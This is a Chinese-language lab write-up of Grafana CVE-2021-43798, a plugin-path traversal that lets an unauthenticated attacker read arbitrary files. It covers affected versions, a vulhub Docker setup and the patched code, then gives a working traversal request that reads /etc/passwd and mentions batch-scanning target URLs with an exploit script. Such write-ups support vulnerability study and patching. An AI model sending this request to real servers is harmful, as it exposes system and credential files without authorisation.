漏洞介绍
Grafana是一个开源的度量分析与可视化套件。在2021年12月,推特用户@j0v 发表了他发现的一个0day,攻击者利用这个漏洞可以读取服务器上的任意文件。
漏洞范围
- Grafana 8.0.0-beta1 to 8.3.0
漏洞靶场
使用vulhub的靶场:
使用环境为Grafana 8.2.6
vulhub-master/grafana/CVE-2021-43798/
启动靶场环境:
1 | docker-compose up -d |
服务启动后,访问http://your-ip:3000即可查看登录页面,但是这个漏洞是无需用户权限的。
漏洞原理
12 月 7 号 Grafana 更新了该漏洞补丁:
https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce
pkg/api/api.go#L292-L295
修复的函数 hc.getPluginAssets 在 pkg/api/api.go 中被调用:
pkg/api/api.go#L138-L139
将 URL 中 [":pluginId"] 的内容赋值给 pluginID, 再最终赋值给 pluginFilePath
pkg/api/plugins.go#L260, L285
最终在几个判断之后触发:
pkg/api/plugins.go#L259-L306
实际上在 pkg/api/plugins.go 中有一个针对 Path 的 Clean 函数:
pkg/api/plugins.go#L267
但是该函数对路径../../a/b并没有清除前面的../字符:
漏洞复现
这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。
利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:
1 | alertlist |
再发送如下数据包,读取任意文件(你也可以将其中的alertlist换成其他合法的插件id):
1 | GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1 |

exp使用
1 | python3 exploit.py |
需要把待检测url放在一个文件里批量扫描

参考
Grafana 文件读取漏洞分析与汇总(CVE-2021-43798) - 斗象能力中心 (riskivy.com)
https://github.com/vulhub/vulhub/blob/master/grafana/CVE-2021-43798/README.zh-cn.md